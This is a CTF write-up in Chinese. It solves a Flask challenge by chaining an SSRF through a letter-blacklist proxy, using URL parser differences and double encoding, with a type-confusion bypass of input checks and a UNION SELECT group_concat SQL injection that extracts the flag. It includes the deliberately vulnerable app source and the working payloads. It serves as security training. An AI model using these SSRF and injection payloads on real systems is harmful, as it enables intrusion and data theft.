本文章附带TP(Thinking Process)!
#!/usr/bin/env python3
# 导入所需的库
import flask # Flask web框架
import sqlite3 # SQLite数据库操作
import requests # HTTP请求库
import string # 字符串处理
import json # JSON处理app = flask.Flask(__name__) # 创建Flask应用实例
blacklist = string.ascii_letters # 所有英文字母(大小写)作为黑名单# 将二进制字符串转换为普通字符串
def binary_to_string(binary_string):if len(binary_string) % 8 != 0:raise ValueError("Binary string length must be a multiple of 8")# 将二进制字符串按每8位分割binary_chunks = [binary_string[i:i + 8] for i in range(0, len(binary_string), 8)]# 将每8位二进制转换为对应的字符string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)return string_output# 代理路由,用于转发请求
@app.route('/proxy', methods=['GET'])
def nolettersproxy():url = flask.request.args.get('url') # 获取请求参数中的urlif not url:return flask.abort(400, 'No URL provided') # 如果没有提供url,返回400错误target_url = "http://lamentxu.top" + url # 构造目标URL# 检查url中是否包含黑名单中的字母for i in blacklist:if i in url:return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')# 防止SSRF攻击,不允许包含点号if "." in url:return flask.abort(403, 'No ssrf allowed')# 发送请求到目标URLresponse = requests.get(target_url)return flask.Response(response.content, response.status_code)# 数据库查询函数
def db_search(code):with sqlite3.connect('database.db') as conn: # 连接SQLite数据库cur = conn.cursor()# 执行SQL查询,对输入进行多次UPPER转换(可能是为了防御某些攻击)cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}'))))))")found = cur.fetchone() # 获取查询结果return None if found is None else found[0] # 返回结果或None# 首页路由
@app.route('/')
def index():print(flask.request.remote_addr) # 打印访问者的IP地址return flask.render_template("index.html") # 渲染并返回index.html模板# 1337路由,提供API搜索功能
@app.route('/1337', methods=['GET'])
def api_search():# 只允许本地访问if flask.request.remote_addr == '127.0.0.1':code = flask.request.args.get('0') # 获取参数0if code == 'abcdefghi': # 检查参数0是否为特定值req = flask.request.args.get('1') # 获取参数1try:# 将二进制字符串转换为普通字符串req = binary_to_string(req)print(req)# 解析JSON(注释中提到认为JSON比Pickle更安全)req = json.loads(req)except:flask.abort(400, "Invalid JSON") # JSON解析失败返回400# 检查JSON中是否包含name字段if 'name' not in req:flask.abort(400, "Empty Person's name")name = req['name']# 检查name长度if len(name) > 6:flask.abort(400, "Too long")# 防止SQL注入,检查特殊字符if '\'' in name:flask.abort(400, "NO '")if ')' in name:flask.abort(400, "NO )")"""Some waf hidden here ;)这里有隐藏的WAF(Web应用防火墙)规则"""# 查询数据库fate = db_search(name)if fate is None:flask.abort(404, "No such Person") # 未找到记录返回404return {'Fate': fate} # 返回查询结果else:flask.abort(400, "Hello local, and hello hacker") # 参数0不正确返回400else:flask.abort(403, "Only local access allowed") # 非本地访问返回403if __name__ == '__main__':app.run(debug=True) # 启动Flask应用,开启调试模式
看起来,我们的第一步是尝试造成ssrf,访问查询api
@app.route('/proxy', methods=['GET'])
def nolettersproxy():url = flask.request.args.get('url') # 获取请求参数中的urlif not url:return flask.abort(400, 'No URL provided') # 如果没有提供url,返回400错误target_url = "http://lamentxu.top" + url # 构造目标URL# 检查url中是否包含字母for i in blacklist:if i in url:return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')# 防止SSRF攻击,不允许包含点号if "." in url:return flask.abort(403, 'No ssrf allowed')# 发送请求到目标URLresponse = requests.get(target_url)return flask.Response(response.content, response.status_code)
题目没有禁止符号,翻看利用手册尝试利用解析差异访问
&@0:8080
/proxy?url=%20%26%400%3A8080
成功
/proxy?url=%20%26%400%3A8080
继续传递参数,我们使用双重url编码
&@0:8080/1337?0=%61%62%63%64%65%66%67%68%69
/proxy?url=%20%26%400%3A8080%2F1337%3F0%3D%2561%2562%2563%2564%2565%2566%2567%2568%2569
按照代码逆向编写编码器
def string_to_binary(input_str):"""将普通字符串转换为8位二进制组成的字符串"""binary_str = []for char in input_str:# 获取字符的ASCII码并转换为二进制,补齐8位前导零binary_char = bin(ord(char))[2:].zfill(8) # [2:]去除0b前缀binary_str.append(binary_char)return ''.join(binary_str)a = "/proxy?url=%20%26%400%3A8080%2F1337%3F0%3D%2561%2562%2563%2564%2565%2566%2567%2568%2569%261%3D"
print(a + string_to_binary('{"name":"test"}'))
/proxy?url=%20%26%400%3A8080%2F1337%3F0%3D%2561%2562%2563%2564%2565%2566%2567%2568%2569%261%3D011110110010001001101110011000010110110101100101001000100011101000100010011101000110010101110011011101000010001001111101
我们现在需要绕过
if len(name) > 6:
我们可以试试使用数组,灵感来自于我刚打完的 Cyber Apocalypse CTF 2025
len(['a'])
的输出是1,而且使用数组可以绕过剩下的waf
if '\'' in name: 只有在 ['\'] 时候才成立
但是这会造成一个意外的冒号
{"name":["\'))))))--"]}
SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('["'))))))--"]'))))))
或者我也可以尝试字典
{"name":{"test":"test"}}
SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{'test': 'test'}'))))))
显然字典更合适,我应该使用union注入继续
import sqlite3conn = sqlite3.connect("database.db")
conn.execute("""CREATE TABLE FATETABLE (NAME TEXT NOT NULL,FATE TEXT NOT NULL
);""")
Fate = [('JOHN', '1994-2030 Dead in a car accident'),('JANE', '1990-2025 Lost in a fire'),('SARAH', '1982-2017 Fired by a government official'),('DANIEL', '1978-2013 Murdered by a police officer'),('LUKE', '1974-2010 Assassinated by a military officer'),('KAREN', '1970-2006 Fallen from a cliff'),('BRIAN', '1966-2002 Drowned in a river'),('ANNA', '1962-1998 Killed by a bomb'),('JACOB', '1954-1990 Lost in a plane crash'),('LAMENTXU', r'2024 Send you a flag flag{FAKE}')
]
conn.executemany("INSERT INTO FATETABLE VALUES (?, ?)", Fate)conn.commit()
conn.close()
SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{'))))))) UNION SELECT FATE FROM FATETABLE--': ''}'))))))
{"name":{"))))))) UNION SELECT FATE FROM FATETABLE--":""}}
只返回了一个结果,我们需要拼接结果
{"name":{"))))))) UNION SELECT group_concat(FATE) FROM FATETABLE--":""}}
成功获得flag